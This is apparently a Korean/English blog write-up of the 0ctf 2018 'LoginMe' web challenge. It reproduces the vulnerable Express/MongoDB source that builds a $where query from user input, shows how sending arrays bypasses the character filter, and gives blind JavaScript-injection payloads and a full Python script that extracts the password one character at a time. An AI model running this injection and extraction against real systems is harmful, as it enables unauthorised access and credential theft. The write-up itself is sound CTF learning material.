0ctf 2018
- 0ctf 2018 - LoginMe Writeup 2018.04.10
0ctf 2018 - LoginMe Writeup
0CTF2018 - LoginMe
참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.
I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.
https://ctf.0ops.sjtu.cn/login#task-28
웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다.
web login window is given, and the source code is given.
# loginme.js
var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&
hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });
코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.
web server using express module, the web framework of node js. An important part of the code is:
1) password 칼럼명이 랜덤하게 바뀜
password column name changes randomly
ex)
this.password_qqxnativaup
this.password_kt1g716pi4
2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨
nodejs code is dynamically created and executed using the request variable and value I entered
for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k]))
}
ex) (POST) username=admin&password=123 로 전송하면 아래와 같이 동적으로 구문을 만들어줌
send "username=admin&password=123", server dynamically generates the code as shown below.
- for 문을 돌면서 차례대로 #username# => admin, #password# => 123 으로 입력
after running for loop, #username# => admin, #password# => 123
k:username
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){
return 1;
}else{
return 0;}
k:password
if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){
return 1;
}else{
return 0;}
결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다.
In conclusion, it's possible inserting '#' in the input value to attack.
하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.
but #, ), ( characters are filtered by the source code below.
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )
filter can be bypassed by sending an array instead of a value.
다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.
After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.
True: username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555 False: username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555 |
참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.
If true no error, if false an error is output.
아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.
It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.
이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!
Now, write a simple python script and get the flags one by one!
# exploit_loginme.py
#!/usr/bin/python from socket import * import time #target = ('202.120.7.194', 8081) target = ('127.0.0.1', 8081) def request(p): c = socket(AF_INET, SOCK_STREAM) try: c.connect(target) except: time.sleep(0.2) c.connect(target) req = '''POST /check HTTP/1.1 Accept-Encoding: gzip, deflate Content-Length: {} Host: 127.0.0.1:8081 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko {} '''.format(len(p)+2,p) #print req c.send(req) res = c.recv(300) #print res try: t = res.index('ok') return True except: return False ### flag length - 32 #param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test' #print request(param) ### flag flag = '' for i in range(32): for j in range(48,127): param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j) print "[*] trying.." + param if request(param): print '\n==================' print chr(j) flag += chr(j) print '\n==================' break time.sleep(0.4) print "[+] flag: \nflag{" + flag + "}"
끝!
the end!
ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!
'CTF Writeup' 카테고리의 다른 글
Google CTF 2017 ascii art writeup (0) | 2018.04.18 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |